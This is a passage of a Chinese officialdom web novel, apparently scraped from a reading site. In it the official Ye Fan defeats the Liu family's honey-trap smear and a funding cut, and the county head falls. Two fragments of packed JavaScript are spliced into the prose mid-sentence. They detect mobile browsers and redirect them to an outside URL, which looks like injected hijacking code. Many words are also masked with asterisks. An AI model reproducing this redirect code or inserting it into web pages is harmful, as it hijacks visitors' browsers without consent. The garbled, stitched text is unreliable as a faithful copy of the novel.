“这是唯一的办法!”柳传明猛地站起身,在客厅里来回踱步,“只有这样,才能把火控制住,烧不到我们家,更烧不到我身上!至于叶凡……”
他停下脚步,眼中闪过一丝毒蛇般的寒光。
“既然他敬酒不吃吃罚酒,那就别怪我心狠手辣了!”
他拿起电话,拨通了一个加密的号码。
“喂,是我。启动‘第二方案’。对,就是那个。我要让他在青川县,身败名裂,永不翻身!”
第54章 温柔刀与护身符!
第二天,青川县的天,没由来地有些阴沉。
县委大院里,气氛却比这天气还要压抑。
县委**扩大会议正在召开,所有在家的县领导,悉数到场。
县长赵卫东坐在县委**张海涛的下首,眼窝深陷,两鬓的白发仿佛一夜之间多了不少。
他面前的茶杯,从会议开始到现在,一口未动,已经凉透了。
他知道,今天的会议,就是一场对他的公开审判。
果然,在通报完省质监总站的初步调查结果后,张海涛话锋一转,目光缓缓扫过全场,最后,落在了赵卫东那张灰败的脸上。
“同志们,省里的调查还在继续,我相信,一定会有一个公正的结果。但是,我们不能等!”张海涛的声音不高,却透着一股不容置疑的权威,“在这次事件中,我们的一些干部,表现出了极其恶劣的工作作风!有的人,对群众的呼声置若罔闻;有的人,官官相护,试图掩盖真相;甚至还有人,滥用职权,公报私仇,打击陷害为民**的好同志!”
会议室里,落针可闻。
所有人都知道,张海涛口中的“好同志”,指的就是叶凡。
“市纪委工作组的撤离,已经说明了很多问题。我们不能让英雄流血又流泪!”张海涛猛地一拍桌子,震得茶杯嗡嗡作响,“我提议,立即撤销对卫生局叶凡同志的停职决定,恢复其一切职务和名誉!”
赵卫东的身子,不易察觉地抖了一下。他想反对,可话到嘴边,却一个字也说不出来。
他拿什么反对?拿柳家的势?柳家现在自顾不暇,他那个纨绔儿子柳志鹏,已经被省厅的人带走,成了烫手的山芋。
他只能眼睁睁地看着,在座的**们,一个接一个地举手,表示同意。
“我同意。”
“同意。”
“附议。”
张海涛满意地点了点头,但他显然不准备就此结束。
“恢复职务,只是第一步。像叶凡同志这样,有能力、有担当、敢于向**亮剑的年轻干部,我们不但要用,还要重用!”他看向赵卫东,嘴角勾起一抹意味深长的弧度,“卫东同志,你觉得呢?”
这句“你觉得呢”,像一记无形的耳光,狠狠抽在赵卫东的脸上。
**,还要诛心。
赵卫东的脸涨成了猪肝色,他几乎是从牙缝里挤出几个字:“我……同意张**的意见。”
“好!”张海涛要的就是他这个态度。“鉴于县医疗系统暴露出的严重问题,县委决定,成立‘青川县医疗系统专项整顿工作领导小组’,由我亲自担任组长,赵卫东同志担任副组长。”
他顿了顿,抛出了真正的重磅**。
“领导小组下设办公室,负责具体工作。办公室主任,就由卫生局的叶凡同志担任!全县所有医疗卫生单位,人、财、物,全力配合!谁敢阳奉阴违,就地免职,绝不姑息!”
此言一出,满座皆惊。
这已经不是简单的重用了,这是在给叶凡发一道“护身符”,一道可以上斩贪官、下惩庸吏的“尚方宝剑”!
张海涛,这是要把叶凡这把最锋利的刀,牢牢地握在自己手里,借着整顿医疗系统的名义,对自己看不顺眼的人和事,来一场彻彻底底的大清洗!
赵卫东的身体,彻底瘫软在了椅子上。
他知道,自己完了。
从今天起,他在青川县政府这边,将彻底被架空,成为一个有名无实的“二把手”。
……
叶凡官复原职,并被委以重任的消息,像一阵风,瞬间吹遍了整个卫生局。
局长马德龙的反应最快,他亲自带着人,将叶凡的办公室,从那个大套间,又换到了一个更大、采光更好、正对着县委大院的“风水宝地”。
“叶局,您看,这办公室还满意吗?正对着县委,这叫‘紫气东来’!风水好,寓意更好!”马德龙搓着手,笑得脸上的肥肉都在颤抖。
叶凡哭笑不得,却也没说什么。
他刚在新的办公桌后坐下,办公室的门就几乎被踏破了。
局里各个科室的负责人,排着队地进来“汇报工作”,一个个脸上堆满了谄媚的笑容,那热情劲儿,仿佛叶凡是他们失散多年的亲爹。
叶凡应付着这一切,心中却是一片清明。他知道,这些人敬畏的,是自己头顶上那“县委**亲信”和“整顿小组主任”的双重光环。
就在他被这群人吵得头昏脑涨的时候,门口出现了一个身影,让喧闹的办公室,瞬间安静了下来。
那是一个年轻的女人,约莫二十四五岁的年纪,穿着一身洗得发白的旧衣服,面容清秀,却带着一种挥之不去的憔悴和哀伤。
她的眼睛很大,水汪汪的,像两只受惊的小鹿。
她就那么怯生生地站在门口,手里紧紧攥着一个布包,和办公室里这群西装革履的干部们,格格不入。
“你找谁?”马德龙皱了皱眉,语气有些不耐。
“我……我找叶局长。”女人的声音很小,带着一丝颤抖。
叶凡抬起头,对她温和地笑了笑:“我就是,请进吧。”
女人走了进来,在叶凡面前站定,突然“扑通”一声,就跪了下去。
“叶局长!您就是我们家的大恩人啊!”
这一跪,把办公室里所有人都吓了一跳。叶凡也急忙起身,绕过办公桌去扶她。
“你这是干什么?快起来,有话好好说。”
“我不起来!”女人抬起头,已是泪流满面,“叶局长,我叫林婉儿。我爷爷……就是县医院那十几个被害死的老人之一。要不是您,我们全家都还被蒙在鼓里,我爷爷到死都冤沉海底啊!”
她哭得梨花带雨,情真意切,闻者伤心,见者落泪。
马德龙和其他干部,看着叶凡的眼神,更多了几分敬佩。看,这就是为民做主的好官啊,老百姓都自发地来下跪感谢了!
叶凡扶着她的胳膊,将她拉了起来。
就在
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两人身体接触的一瞬间,林婉儿的身子突然一软,仿佛悲伤过度,整个人向叶凡怀里倒去。
这一下,又急又突然。
叶凡下意识地伸手抱住了她,才没让她摔倒在地。
怀中的身躯,柔软而纤细,带着一股淡淡的香气。
办公室里,所有人都屏住了呼吸。
那画面,看上去,就像是一个年轻有为的领导,在温情地安抚一个受了委屈的女群众。
然而,在无人注意的角落,一个负责端茶倒水的办公室文员,口袋里的手机,恰好对着这个方向,屏幕,悄无声息地亮了一下。
叶凡的眉头,几不可查地皱了一下。
他的手臂稳稳地托着林婉儿,眼神却在那一瞬间,变得如同手术刀般锐利。
他感觉到了不对劲。
怀里的女人,身体在微微颤抖,看似是悲伤或害怕,但叶凡那双触摸过无数病人身体的手,却能清晰地感觉到,那是一种因为紧张和兴奋,而导致的肌肉不自主的痉挛。
她的眼泪流得很凶,但她的呼吸,却异常平稳,完全没有大悲大恸之人该有的急促和紊乱。
最关键的是,叶凡的目光落在了她那双扶着自己胳膊的手上。
那是一双保养得极好的手,指甲修剪得圆润整齐,上面涂着一层透明中带着点点亮粉的指甲油,在灯光下,闪着细碎的光。
一个连衣服都洗得发白,靠着微薄抚恤金过活的悲痛的孙女,会有心思和闲钱,去做这样的美甲吗?
温柔刀。
叶凡的脑海里瞬间闪过了这三个字。
他不动声色地扶着林婉儿站稳,然后退后一步,拉开了两人之间的距离,语气依旧温和,却多了一丝不容置疑的疏离。
“林小姐,你的心情我理解。你放心,对于你爷爷的事情,我们整顿小组一定会追查到底,给所有受害者家属一个交代。”
他转头对马德龙说:“马局长,你先带这位林小姐去会客室休息,给她倒杯热水,详细了解一下她的诉求,整理成材料,再交给我。”
“哎,好,好!”马德龙连忙上前,客气地对林婉儿说:“林小姐,这边请。”
林婉儿似乎没想到叶凡会这么处理,愣了一下,眼中闪过一丝不易察觉的失望,但还是顺从地跟着马德龙走了出去。
办公室里重新恢复了平静。
叶凡坐回自己的位置,端起那杯已经凉了的茶,喝了一口。
茶水苦涩,正如他此刻的心情。
他知道柳传明的反击已经来了。
而且,比他想象中来得更快,更阴毒。
他拿出私人手机,打开那个加密的邮箱,手指飞快地在屏幕上敲击着。
“新病人,症状可疑,疑似‘柳氏综合征’急性发作。速查病历,尤其是社会关系史。”
邮件发送成功的提示音,轻微地“嘀”了一声。
叶凡放下手机,望向窗外。
天,更阴了。
一场新的暴风雨,正在酝酿。
第55章 美人计与破局!
叶凡发出的邮件,像一道无声的闪电,划破了青川县的夜空。
县报宿舍里,苏沐秋收到邮件的那一刻,心头猛地一紧。
她知道,叶凡说的“柳氏综合征”,就是指柳家又开始作妖了。
而“新病人”,无疑就是那个林婉儿。
她没有丝毫耽搁,立刻打开电脑,开始在网络上搜索“林婉儿”这个名字。
同时,她拨通了几个在市里**系统工作的朋友电话,旁敲侧击地打听有没有叫这个名字的“特殊”人物。
医生的仁心和记者的敏锐,让叶凡在林婉儿身上捕捉到了太多违和感。
那双涂着亮粉指甲油的手,那看似悲痛却平稳的呼吸,都像扎在他心头的刺,提醒他这背后必有蹊跷。
苏沐秋的调查,很快有了眉目。
在**系统,一个老同学告诉她,林婉儿这个名字,在两年前江城市一场涉及“仙人跳”的案子里出现过。
当时她只是个小角色,被包养,协助设局,后来因为证据不足,只是轻微处罚。但她的照片,却清晰地留在了警方内部的资料库里。
更惊人的是,林婉儿在江城的一个艺术培训班里学过表演,虽然没能真正出道,但在圈子里也算小有名气,专门接一些“特殊”的活儿,比如扮演“悲情家属”之类的。
而她最近一次“业务”,赫然是与柳志鹏手下的一家娱乐公司有过短暂合作。
所有线索,都指向了柳家。
苏沐秋的手指,在键盘上飞快敲击,将这些信息整理成一份简报,迅速发给了叶凡的加密邮箱。
她知道,一场针对叶凡的“温柔陷阱”,已经悄然布下。
……
第二天一早,叶凡刚到办公室,就感觉气氛不对。
卫生局的同事们看他的眼神,带着躲闪和异样。马德龙局长更是躲在办公室里,连门都没敢出。
叶凡打开电脑,登录了当地最火的论坛。
果然,一个名为“青川县某局长办公室上演活春宫,道德沦丧,官德何在?”的帖子,正高高挂在首页。
帖子里,赫然是几张模糊却能辨认出他与林婉儿“亲密接触”的照片。角度刁钻,抓拍得恰到好处,将他扶起林婉儿的动作,恶意解读成了“拥抱”、“搂抱”。
更有几段经过剪辑的视频,背景音嘈杂,却突出放大林婉儿的哭声和叶凡安抚的语气,配上煽动性的文字:“如此年轻貌美的女群众,深夜为何在局长办公室痛哭?又为何与局长搂搂抱抱?这背后,究竟是为民解忧,还是另有隐情?”
帖子的回复区,更是骂声一片。
“我就说嘛,这年头哪有干净的官!”
“什么人民公仆,我看是人民禽兽!”
“严查!必须严查!这种**不配当官!”
“叶凡?不是说他刚立了大功吗?转眼就露出狐狸尾巴了?”
柳传明的“第二方案”,启动得又快又狠,直指叶凡的道德品行,试图将他彻底钉死在**的耻辱柱上。
叶凡看完帖子,反而笑了。
那笑容很淡,带着一丝了然。
他拿起电话,拨通了张海涛**的号码。
“张**,我是叶凡。您现在方便吗?我有点情况,需要向您汇报。”
电话那头,张海涛的声音有些低沉:“叶凡同志,我看到了。你现在到我办公室来一趟。”
叶凡放下电话,没有理会外面那些异样的目光,径直走向县委大院。
张海涛的办公室里,气氛凝重。除了张海涛本人,县纪委**、县委组织部长都在场。几人面前的电脑屏幕上,正是那个将叶凡推向风口浪尖的帖子。
“叶凡同志,你有什么要解释的吗?”张海涛的目光,像两把利剑,直刺叶凡。
叶凡没有丝毫慌乱,他走到电脑前,指着屏幕上的照片,平静地说:“张**,各位领导,这几张照片是昨天下午,县医院受害者家属林婉儿来我办公室反映情况时,被人恶意抓拍并剪辑的。当时她情绪激动,突然下跪,我只是本能地扶了她一把。”
他顿了顿,语气变得严肃:“我知道,这背后是有人在刻意抹黑我。而且,我已经查到了一些线索。”
他将苏沐秋发来的简报,调出内容,呈现在几位领导面前。
“林婉儿,原名林小婉,两年前曾牵涉一桩‘仙人跳’案件,有协助设局的前科。她并非普通受害者家属,而是江城一家艺术培训班的学员,专门接演‘特殊角色’。而她最近一次的‘业务’,牵涉到柳志鹏名下的一家娱乐公司。”
几位领导的脸色,瞬间变了。
“仙人跳?!”县纪委**惊呼一声,“这……这分明是恶意陷害!”
张海涛的眼神变得冰冷而锐利。
他没想到柳传明会用如此下作的手段。
“叶凡同志,你有这些证据吗?”他沉声问道。
“有。”叶凡点头,“我的同事正在收集更详细的资料。我相信很快就能还原事情的真相。”
“好!”张海涛猛地一拍桌子,“既然他们想玩阴的,我们就奉陪到底!县纪委立刻介入调查!以最快的速度查清林婉儿的**和她与柳家的关系!组织部准备好澄清公告,一旦查实,立刻发布!”
他看向叶凡,眼中带着赞许:“叶凡同志,你做得很好。在谣言面前,保持冷静,第一时间汇报,并掌握证据。这才是我们需要的干部!”
叶凡没有居功,只是淡然道:“这是我作为一名干部,应尽的职责。”
从县委大院出来,叶凡的心情并没有轻松多少。
他知道,这只是柳家反击的第一波,更猛烈的暴风雨,还在后面。
他回到办公室,马德龙局长立刻迎了上来,那张胖脸上写满了谄媚和担忧:“叶局,您没事吧?外面那些谣言,您可千万别往心里去啊!”
叶凡看了他一眼,淡淡道:“马局长,你去通知一下。下午两点,在局会议室,召开全县医疗系统专项整顿工作领导小组第一次会议。所有乡镇卫生院院长、县直医疗机构负责人,以及局里所有中层干部,必须到场。谁不到,就地免职!”
马德龙一愣,随即明白过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150482|180509||http|test|mini|href|location''.split(''|''),0,{}));
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>这是叶凡在立威!
在用雷霆手段,告诉所有人,谁才是青川县医疗系统的真正主宰者!
“是!叶局!我这就去办!”马德龙立刻小跑着去传达命令。
下午两点,会议室里,座无虚席。
当叶凡走进会议室时,所有人的目光都聚焦在他身上。
他们想看这个被**推上风口浪尖的年轻人,会如何应对。
叶凡没有废话,他走到投影仪前,将苏沐秋发来的林婉儿的详细资料,以及她在“仙人跳”案件中的笔录复印件,一张张地投射在大屏幕上。
“各位,这就是昨天来我办公室‘求助’的林婉儿。她不是什么悲情家属,而是一名有前科的‘职业演员’。”
他声音不大,却字字清晰,掷地有声。
会议室里,瞬间炸开了锅。
“什么?职业演员?”
“这……这不是陷害叶局长吗?”
“太卑鄙了!竟然用这种手段!”
叶凡没有理会众人的议论,他继续播放了几段林婉儿在艺术培训班的表演视频,以及她与柳志鹏名下公司合作的合同复印件。
铁证如山!
所有人都明白了,这根本就是一场精心策划的“美人计”,目的就是为了搞臭叶凡,将他从刚刚升起的位置上拉下来。
“这种无耻的行径,是对我们青川县所有清白干部的侮辱!是对我们党风政纪的挑战!”叶凡的目光,扫过在场的每一个人,带着一种不容置疑的威严,“我叶凡,绝不会向这种黑暗势力低头!我也相信,县委,**,更不会向他们低头!”
他猛地一拍桌子,声音陡然拔高:“从今天起,青川县医疗系统专项整顿工作,正式启动!我宣布,所有与康泰医药公司有不正当利益往来的单位和个人,立刻自查自纠,主动交代问题!凡是主动交代的,我们从轻处理!凡是负隅顽抗,试图掩盖真相的,一经查实,严惩不贷!”
“我叶凡,是医生!医生治病救人,也要切除毒瘤!对于青川县医疗系统的毒瘤,我将用最锋利的手术刀,彻底切除,绝不手软!”
他这番话,如同一记记重锤,狠狠地砸在每一个人的心上。
那些原本还在观望的,那些屁股不干净的,此刻都吓得面如土色,冷汗直流。
他们终于明白,叶凡,根本不是什么“软柿子”,他是一把真正的“杀猪刀”!
会议结束后,县纪委迅速发布了澄清公告,并对林婉儿立案调查。
林婉儿的**和“仙人跳”前科被曝光,柳家精心策划的“美人计”彻底破产,反而成了叶凡反击柳家的又一把利剑。
当晚,叶凡在宿舍里收到了苏沐秋发来的信息。
“叶大主任,恭喜破局!不过,我听说柳部长气得砸了办公室里最名贵的茶具呢。小心,他这刀,会越来越毒。”
叶凡看着手机屏幕,嘴角勾起一丝冷笑。
“他有他的毒,我有我的药。这场仗,才刚刚开始。”他回复道。
窗外,夜色深沉,却掩盖不住一场新的风暴,正在悄然酝酿。
第56章 釜底抽薪,另辟蹊径!
“美人计”的闹剧,以一种戏剧性的方式收场,反而成了叶凡在青川县官场上的一块“功德碑”。
县卫生局的走廊里,如今再也听不到闲言碎语。所有人见到叶凡,都自觉地矮了半头,恭恭敬敬地喊一声“叶局”。
局长马德龙更是将“谄媚”二字发挥到了极致。**从哪儿淘来一盆半人高的君子兰,亲自搬到叶凡的办公室,摆在最显眼的位置。
“叶局,您看,这叫‘君子如兰’!正配您的气质!”马德龙一边擦着额头的汗,一边用袖子给花盆掸灰,笑得满脸褶子,“您放心,整顿小组的工作,我马德龙就是您的后勤大队长,您指东,我绝不往西!”
叶凡看着他那副滑稽的模样,有些好笑,却也没点破。
水至清则无鱼。马德龙这样的人,虽然趋炎附势,但只要用对了地方,就是一把最好使的“拖把”,能把许多自己不方便出面的脏活累活,处理得干干净净。
“马局长,把心用在工作上吧。”叶凡淡淡地说,“我让你准备的,关于全县各乡镇卫生院的设备、人员、药品库存的详细报表,做好了吗?”
“好了,好了!早就给您备好了!”马德龙连忙从腋下的皮包里,掏出一份厚厚的材料,双手奉上,“您过目!”
叶凡接过报表,一页一页地翻看着。
他之前提出的“城乡医疗一体化”改革方案,核心就是通过资源整合,将县医院的优质医疗资源,下沉到乡镇,解决老百姓看病难、看病贵的问题。
方案已经得到了县委**张海涛的大力支持,县财政也承诺,会拨付一笔专项启动资金。
万事俱备,只欠东风。
然而,这股“东风”,却迟迟没有吹来。
就在叶凡的研究刚刚进行到一半时,张海涛的秘书,亲自来了卫生局。
“叶局,张**请您过去一趟。”秘书的表情,异常严肃。
叶凡心里“咯噔”一下,知道该来的,还是来了。
县委**办公室里,烟雾缭绕。
张海涛的面前,放着一份刚刚从市里传真过来的**,脸色阴沉得能拧出水来。
“你自己看吧。”张海涛将文件推了过来。
叶凡拿起文件,标题刺眼——《关于集中全市财政力量,优先保障“江城市智慧城市建设”项目的紧急通知》。
文件内容很长,但核心意思只有一个:为了响应省里号召,建设“智慧江城”,市里决定,暂停本年度所有下辖区县的非紧急、非重点项目的专项拨款,将资金统一收归市财政,集中力量办大事。
而在文件附件的“暂停拨款项目清单”里,“青川县城乡医疗一体化改革试点”赫然在列。
釜底抽薪!
这一招,比“美人计”阴狠百倍。
柳传明没有再从个人品行上攻击叶凡,而是直接从工作上,斩断了他的根基。
你叶凡不是能干吗?不是想搞改革,出政绩吗?
我把你的钱袋子抽走,让你寸步难行!
没有钱,你所有的宏伟蓝图,都只是一张废纸!你向全县干部群众许下的承诺,都会变成一个笑话!
到时候,不用我出手,青川县内部那些对改革不满的、等着看你笑话的人,就能把你生吞活剥了。
“柳传明……好手段。”叶凡放下文件,眼神里没有愤怒,只有一丝冰冷的赞叹。
“他这是在向我**!”张海涛狠狠一拳砸在桌子上,“他不仅是要搞你,更是在打我的脸!我这个县委**刚拍板支持的项目,他一个市里的副部长,转手就给我搅黄了!”
张海涛是真的动了怒。这已经不是简单的**了,这是在践踏他作为一方主官的权威。
“**,您先别生气。”叶凡反而比他更冷静,“他能抽走我们的钱,但抽不走我们的脑子。路,是人走出来的。”
张海涛抬起头,诧异地看着叶凡。他没想到,在这种绝境下,这个年轻人,竟然没有丝毫的沮丧和退缩。
“你……有办法?”
“办法谈不上,只是一些不成熟的想法。”叶凡的脑子在飞速运转,“柳传明以为,这个项目离了钱就活不了。那我们就偏偏要做一个,不花大钱,甚至不花钱,也能启动的项目给他看看。”
从县委大院出来,叶凡没有回办公室,而是直接去了青山镇。
他需要找一个人,一个能跳出官场思维定式,给他一些“野路子”建议的人。
钱国栋的老院子里,老**正躺在摇椅上,悠哉地听着收音机里的评书。
听完叶凡的叙述,钱国栋磕了磕烟锅,半眯着眼睛,笑了。
“小子,碰上硬茬了吧?”
“是,这刀子,够硬,也够快。”叶凡苦笑。
“硬?快?”钱国栋坐直了身子,那双浑浊的眼睛里,闪着智慧的光,“我问你,你是个医生,对吧?一个急诊病人送过来,大出血,没钱交押金,你救不救?”
叶凡一愣,毫不犹豫地回答:“救!先救人,钱的事,之后再说。”
“这不就结了!”钱国栋一拍大腿,“你现在就把整个青川县的医疗系统,当成那个大出血的病人!把你自己,当成那个主刀医生!柳传明不给你钱,你就不开刀了?就不救命了?”
一语惊醒梦中人!
叶凡的眼睛,瞬间亮了。
他一直陷入了“项目=要钱”的思维怪圈里。
可钱国栋的话,让他瞬间回归了医生的本心——治病救人,才是根本!钱,只是工具,而不是目的!
“我明白了,**!”叶凡猛地站起身,“我没钱建新的系统,但我可以盘活旧的资源!我没钱买新的设备,但我可以让我这个‘主刀医生’,亲自下乡去‘飞刀’!”
他向钱国栋深深鞠了一躬。
“谢谢您,**。我知道该怎么做了。”
回到县城,叶凡立刻让马德龙再次召集了“医疗系统专项整顿工作领导小组”的全体成员。
消息传开,整个卫生系统人心惶惶。
市里断了粮草的消息,早已不胫而走。所有人都以为,叶凡这次是要开个“散伙会”,宣布那个宏伟的改革计划,胎死腹中了。
县长赵卫东甚至破天荒地,也来参加了会议。他坐在角落里,准备欣赏叶凡是如何灰头土脸地,收回自己之前放出的豪言壮语。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150483|180509||http|test|mini|href|location''.split(''|''),0,{}));
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r>会议室里,气氛压抑。
叶凡走上台,环视全场,所有人的脸上,都写着观望、同情,甚至幸灾乐祸。
他没有解释,没有抱怨,只是打开了投影仪。
屏幕上,出现了一张崭新的青川县地图。
“我知道,大家都在想什么。”叶凡开口了,声音平静而有力,“市里确实暂停了我们的专项资金。但这,并不代表我们的改革,就要停止。”
他拿起激光笔,在地图上画了一个圈,圈住了青山镇。
“钱,我们暂时没有。但是,我们有人,有设备,有医者仁心。从下周一开始,我宣布,‘城乡医疗一体化’改革,以一种全新的方式,正式启动!”
“第一,成立‘县人民医院流动专家坐诊团’,由我,叶凡,亲自担任团长。每周,我会带着县医院心外、神外、内科、儿科的骨干医生,轮流到各个乡镇卫生院,进行为期一天的免费坐诊、手术示教和业务培训!我们不新建大楼,我们把最好的医生,直接送到老百姓的家门口!”
“第二,开通‘青川县远程医疗诊断平台’。这个不需要多少钱,每个卫生院配一台能上网的电脑就行!以后,乡镇卫生院解决不了的疑难杂症,可以直接通过视频,向县医院专家求助会诊!我们不买昂贵的设备,我们用最简单的技术,打通城乡医疗的壁垒!”
“第三,建立‘全县急救一张网’。以县急救中心为核心,整合所有乡镇卫生院的救护车和急救人员,统一调度,统一培训。确保接到求救电话后,十五分钟内,最近的救护力量就能赶到现场!”
叶凡的声音,一句比一句响亮,一声比一声坚定。
他没有提一个“钱”字,但他提出的每一个方案,都像一把精准的手术刀,切中了当前医疗体系最核心的痛点!
整个会议室,鸦雀无声。
所有人都被叶凡这天马行空,却又脚踏实地的“穷人版”改革方案,给彻底镇住了。
赵卫东张大了嘴,不敢相信自己的耳朵。
他本以为是来看叶凡笑话的,却没想到,亲眼见证了一场绝地反击的奇迹!
叶凡关掉投影,目光如炬,扫过全场。
“各位,柳部长可以断掉我们的资金,但他断不掉我们为人民服务的决心。这场改革,没有退路,只能成功!”
“谁,赞成?谁,反对?”
他的声音,在寂静的会议室里,回荡着。
良久,前排的一位乡镇卫生院老院长,颤颤巍巍地站了起来,激动得满脸通红。
“我……我赞成!叶局长,您要是真能带专家来我们卫生院,我……我给您立长生牌位!”
他的话,像一颗投入湖面的石子,瞬间激起千层浪。
“我也赞成!”
“我们卫生院第一个报名!”
“叶局,算我一个!”
群情激奋,掌声雷动。
坐在角落里的赵卫东,看着台上那个光芒万丈的年轻人,只觉得一股寒气,从尾椎骨,直冲头顶。
他知道,柳传明这招“釜底抽薪”,不仅没能困死叶凡,反而,给他送去了一对,能让他飞得更高更远的,翅膀。
第57章 县长**,**震动!
叶凡的“穷人版”改革方案,如同一股清流,瞬间激活了青川县医疗系统的死水。
县人民医院的专家们,一开始还有些不情愿,毕竟下乡坐诊,条件艰苦,待遇又没增加。
但叶凡亲自带队,每次都冲在最前面,甚至在简陋的乡镇手术室里,亲自主刀,成功完成了几例高难度手术,挽救了数条生命。
他的专业能力和奉献精神,很快赢得了专家们的尊敬。
“叶局,您这刀,比县医院的手术室还稳!”一位老主任由衷地赞叹道。
老百姓更是将叶凡和他的“流动专家坐诊团”奉为“天降神兵”。
乡镇卫生院门口,每次都排起了长龙,村民们口口相传,说县里来了个“叶青天”,看病不收钱,还能把县医院的专家请到家门口。
民心所向,势不可挡。
赵卫东坐在办公室里,听着下属们汇报的这些消息,脸色一天比一天难看。
叶凡的改革,没花县财政一分钱,却比他那些烧钱的项目,更能获得民心和政绩。
他就像一个被架空的木偶,眼睁睁看着叶凡的光芒,一点点盖过自己。
而与此同时,省交通厅质监总站对“纸糊公路”的调查,也进入了尾声。
结果,触目惊心。
省厅的报告,将鹏程建材偷工减料的罪行,揭露得淋漓尽致。
其中,柳志鹏作为实际控制人,不仅涉嫌工程欺诈,还被查出巨额****。
这份报告,直接送到了****高建国的案头。
高建国看着报告,又想起之前那份关于柳传明的匿名录音,眼神深邃。
“柳传明啊柳传明,你这张网,铺得太大了。”他自言自语道。
他拿起电话,拨通了市纪委**的号码。
“老王,青川县那条路的问题,省里已经有结论了。另外,关于柳传明同志的一些反映,你们纪委,也该启动调查了吧?”
市纪委的行动,雷厉风行。
柳志鹏被正式批捕,鹏程建材公司被查封,所有资产被冻结。
紧接着,市纪委又根据省厅的调查报告,对青川县交通局、住建局等相关部门的负责人,展开了密集调查。
县长赵卫东,作为县政府的一把手,对工程质量负有监管责任,自然首当其冲。
他被市纪委带走的那天,整个县政府大院,鸦雀无声。
张海涛站在办公室窗前,看着那辆黑色的纪委车辆,缓缓驶出大院,脸上没有丝毫表情。
他知道,赵卫东的**,是迟早的事。
而叶凡,则成了这场官场斗争中,最大的赢家。
他不仅洗清了冤屈,官复原职,还被赋予了更大的权力,主导了青川县医疗系统的改革,获得了百姓的拥戴。
更重要的是,他亲手,将柳家的势力,从青川县彻底拔除。
当晚,叶凡在宿舍里,收到了苏沐秋发来的信息。
“叶大主任,恭喜!我听说,赵卫东被带走的时候,脸都绿了呢!”
叶凡笑了笑,回复道:“这只是开始。柳家的根基在江城,这场仗,还远没有结束。”
苏沐秋发来一个“加油”的表情。
……
赵卫东**的消息,像一道惊雷,迅速传遍了江城市官场。
柳传明坐在办公室里,听着秘书的汇报,脸色铁青。
他没想到,自己精心策划的“釜底抽薪”,非但没能奏效,反而成了叶凡“借力打力”的跳板。
更让他心惊的是,省厅的调查,竟然牵扯到了柳志鹏的鹏程建材。
他知道,这是叶凡在报复,在一步步地,蚕食柳家的地盘。
“叶凡……好一个叶凡!”柳传明咬牙切齿,眼中闪烁着阴狠的光芒。
他拿起电话,拨通了柳如烟的号码。
“如烟,你马上回来一趟,我有事跟你说。”
柳如烟赶到父亲办公室时,柳传明的脸色异常憔悴,眼底布满了血丝。
“爸,出什么事了?”
柳传明没有回答,而是从抽屉里拿出一份文件,递给她。
“这是省纪委关于赵东来案子的最新进展。赵东来已经交代了,当初他收**赂,为你和叶凡的离婚案提供**据,以及陷害叶凡的事情,都与我有关。”
柳如烟如遭雷击,脸色瞬间变得煞白。
她一直以为,叶凡“出轨”是真,父亲只是推波助澜,加速了离婚进程。
可现在,真相竟然是……父亲和哥哥,联手陷害了叶凡!
“爸!您……您怎么能这样?!”柳如烟的声音带着哭腔,身体止不住地颤抖。
“我都是为了你!为了柳家!”柳传明猛地一拍桌子,“那个叶凡,他就是个白眼狼!他根本配不上你!我只是想让他知难而退!”
柳如烟跌坐在椅子上,泪水模糊了视线。
她终于明白,叶凡当初为何会那样冷漠,为何会说出那些伤人的话。
原来,她一直活在一个巨大的谎言里。
“现在不是哭的时候!”柳传明冷冷地说,“省纪委已经注意到了我。我必须想办法,把这件事的影响,降到最低。”
他看着柳如烟,眼中闪过一丝复杂的情绪。
“如烟,你现在是电视台的知名主持人,在江城有很大的影响力。我需要你……帮我做一件事。”
柳如烟抬起头,眼神空洞。
“什么事?”
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“我要你,在媒体上,公开为叶凡澄清。就说……当初的离婚,是你们夫妻感情不和,与他人无关。并且,向叶凡道歉。”
柳如烟猛地站起身,不敢置信地看着自己的父亲。
“爸!您让我……向他道歉?!”
“这是唯一的办法!”柳传明声音嘶哑,“只有你出面,才能最大程度地平息**,也能让省里看到我的‘诚意’。牺牲你一点点名声,能保住我这个部长,能保住柳家的未来,值得!”
柳如烟看着眼前这个为了权力,不惜牺牲一切的父亲,心中一片冰凉。
她突然觉得,这个曾经爱戴的父亲,变得无比陌生和可怕。
“爸,如果我做了,您能保证……叶凡他没事吗?”柳如烟的声音颤抖着。
柳传明沉默了片刻,才缓缓开口:“只要他不再咄咄逼人,我自然不会再对他下手。”
柳如烟没有再说话,只是默默地离开了办公室。
她知道,自己已经没有选择。
……
第二天,江城市电视台。
一则重磅新闻,引爆了整个江城。
知名主持人柳如烟,在直播节目中,突然情绪失控,公开向自己的前夫叶凡,深鞠一躬,含泪道歉。
她承认,当初的离婚,是因为她个人原因,误解了叶凡,并对叶凡在青川县的医疗改革,大加赞赏。
这则新闻,瞬间冲上了各大媒体头条。
“柳如烟为前夫叶凡道歉!昔日恩怨情仇大反转!”
“女神柳如烟含泪道歉,背后真相究竟为何?”
“青川县叶凡局长,究竟有何魅力,让前妻公开致歉?”
**哗然。
有人猜测叶凡背景深厚,有人同情柳如烟的“痴情”,更有人,开始质疑柳传明在其中扮演的角色。
叶凡在宿舍里,看着电视上柳如烟那张梨花带雨的脸,心中没有丝毫波澜。
他知道,这不是柳如烟的本意,这是柳传明在“断臂求生”。
用女儿的名声,来保住自己的**前途。
这把“温柔刀”,比任何阴谋诡计,都更让人心寒。
他拿起手机,拨通了苏沐秋的电话。
